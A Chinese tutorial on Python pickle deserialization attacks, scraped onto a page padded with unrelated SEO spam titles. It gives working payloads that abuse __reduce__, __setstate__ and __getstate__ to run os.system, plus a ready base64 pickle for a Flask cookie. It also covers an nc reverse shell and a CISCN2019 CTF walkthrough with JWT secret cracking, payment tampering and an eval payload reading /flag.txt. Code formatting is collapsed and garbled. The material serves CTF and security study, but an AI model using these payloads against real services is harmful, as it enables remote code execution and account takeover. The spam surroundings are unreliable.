当前位置: 首页 > news >正文

做外国独立网站项目推广

做外国独立网站,项目推广,视频分享网站建设难吗,如何优化网站内容#知识点: 1、Python-反序列化函数使用 2、Python-反序列化魔术方法 3、Python-反序列化 POP 链构造(payload构造) 4、Python-自动化审计 bandit 使用 #前置知识: 函数使用: pickle.dump(obj, file) : 将对…

#知识点:

1Python-反序列化函数使用

2Python-反序列化魔术方法

3Python-反序列化 POP 链构造(payload构造)

4Python-自动化审计 bandit 使用

#前置知识:

函数使用:

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

各类语言函数:

JavaSerializable Externalizable 接口、fastjsonjacksongson

ObjectInputStream.readObjectObjectInputStream.readUnshared

XMLDecoder.readObjectYaml.loadXStream.fromXML

ObjectMapper.readValueJSON.parseObject

PHPserialize()unserialize()

Pythonpickle marshal PyYAML shelve PIL unzip


Ø 原理-反序列化魔术方法-调用理解

Ø CTF-反序列化漏洞利用-构造&RCE

Ø CTF-CISCN2019 华北-JWT&反序列化

Ø 代码审计-自动化工具-bandit 安装及使用


#原理-反序列化魔术方法-调用理解

-魔术方法利用:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()

具体代码:

class A(object):def __reduce__(self):print('反序列化调用')return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

Pickle.dumps是序列化操作,pickle.loads是反序列化操作

# 构造 __setstate__ 方法

具体代码:

class SerializePerson():def __init__(self, name):#自启动方法self.name = name# 构造 __setstate__ 方法def __setstate__(self, name):os.system('calc')  # 恶意代码
tmp = pickle.dumps(SerializePerson('tom'))  #序列化
pickle.loads(tmp)  # 反序列化 此时会弹出计算器
print(tmp)

#序列化魔术方法调用-__getstate__

具体代码:

class A(object):def __getstate__(self):print('序列化调用')os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)

#反序列化安全漏洞产生-DEMO

具体代码:

class A(object):def __init__(self, func, arg):self.func = funcself.arg = argprint('This is A')def __reduce__(self):print('反序列化调用')return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

#CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞

具体环境代码:

import pickle
import base64
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():try:user = base64.b64decode(request.cookies.get('user'))user = pickle.loads(user)username = user["username"]except:username = "Guest"return "Hello %s" % usernameif __name__ == "__main__":app.run(host='192.168.101.1',port=5000,debug=True)

根据以上代码得知,它会接收Cookie值,传给user进行反序列化,也就是说我们可以在cookie上写入我们的pop链,同时需注意base64加密

Flag.py——pop链构造gASVHAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjARjYWxjlIWUUpQu

通过bp,将user的序列化数据放到cookie中,成功执行命令

进行nc反弹:

本地监听端口

通过bp进行手动请求

也可以写入脚本自动请求

#CTF-CISCN2019 华北-JWT&反序列化

通过提示>寻找LV6 >购买修改支付逻辑>绕过admin限制需修改wt值- >爆破jwt密匙> 重组jwt值成为admin->购买进入会员中心>源码找到文件压缩源码> Python代码审计反序列化>构造读取flag代码进行序列化打印->提交获取
考点1: JWT身份验证攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt- -cracker

考点2: Python代码审计反序列化:
自动工具: https/lithub.com/PyCQA/bandit
参考资料: https /github .com/bit4woo/python_ sec
1. 获取LV6

写一个脚本

import requests,time
url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page="for i in range(0,2000):time.sleep(0.2)r=requests.get(url+str(i))if 'lv6.png' in r.text:print(i)breakelse:print(str(i)+'|no')

2.购买修改支付逻辑

修改表单

3.绕过admin限制需修改wt值

修改JWT

4.爆破jwt密匙c-jwt-cracker

5.重组jwt值成为admin

6.购买进入会员中心

7.源码找到文件压缩源码

下载文件www.zip

8.Python代码审计反序列化

直接查看特定函数——pickle.loads

得知会对值进行url解码,所以构造pop时需要考虑到这点

9.构造读取flag代码进行序列化打印

import pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())
a = urllib.quote(a)
print a

需要考虑对方的语言环境

确定对方语言版本:

  1. 看关键函数
  2. 查看print(如:python2的print不需要括号,python3需括号

10.提交获取

查询谁调用此对象

#代码审计-自动化工具-bandit 安装及使用

审计出漏洞地方

http://www.shuangfujiaoyu.com/news/9064.html

相关文章:

  • wordpress可视化编辑失效哈尔滨seo推广优化
  • 怎么做中英文双语网站ai智能营销系统
  • 友点企业网站模板下载全球疫情最新数据
  • 伊利网站规划与建设最近新闻大事件
  • 彩票网站怎么做赚钱产品怎么做市场推广
  • 济南做网站比较好的公司深圳优化公司统高粱seo
  • 公司营销网站建设电脑优化软件哪个好用
  • 武汉专业做网站公司个人网页制作
  • 有没有做3d衣服模型网站广东网络优化推广
  • 网站怎么加关键词5118数据分析平台
  • 建一个交易网站需要多少钱做一个私人网站需要多少钱
  • 美国有个网站专门做sm中国足球世界排名
  • 做网站UI说不会写文案北京百度关键词排名
  • 向百度提交网站百度广告位价格
  • 深圳企业营销型网站百度竞价排名模式
  • 浏览器正能量不良网站产品推广外包
  • 手机英文网站广告网址
  • 深圳建筑设计找工作哪个招聘网站搜索广告和信息流广告区别
  • 域名 wordpress新手如何学seo
  • 怎么做织梦网站营业推广是一种什么样的促销方式
  • 学校的网站怎么做阿里云云服务平台
  • 天津市网站制作建设推广公司站长统计app进入网址
  • 江苏建设部网站网络营销推广的
  • 上传本地wordpress至网络服务器大连seo优化
  • 制作公司网站 黑龙江顾问
  • 上上海网站设计建设wordpress
  • dede 做手机网站微信营销管理软件
  • 班级网站建设步骤杭州网站优化搜索
  • 哈尔滨网站建设制作费用世界互联网峰会
  • 旅游网站开发网站服务器失去响应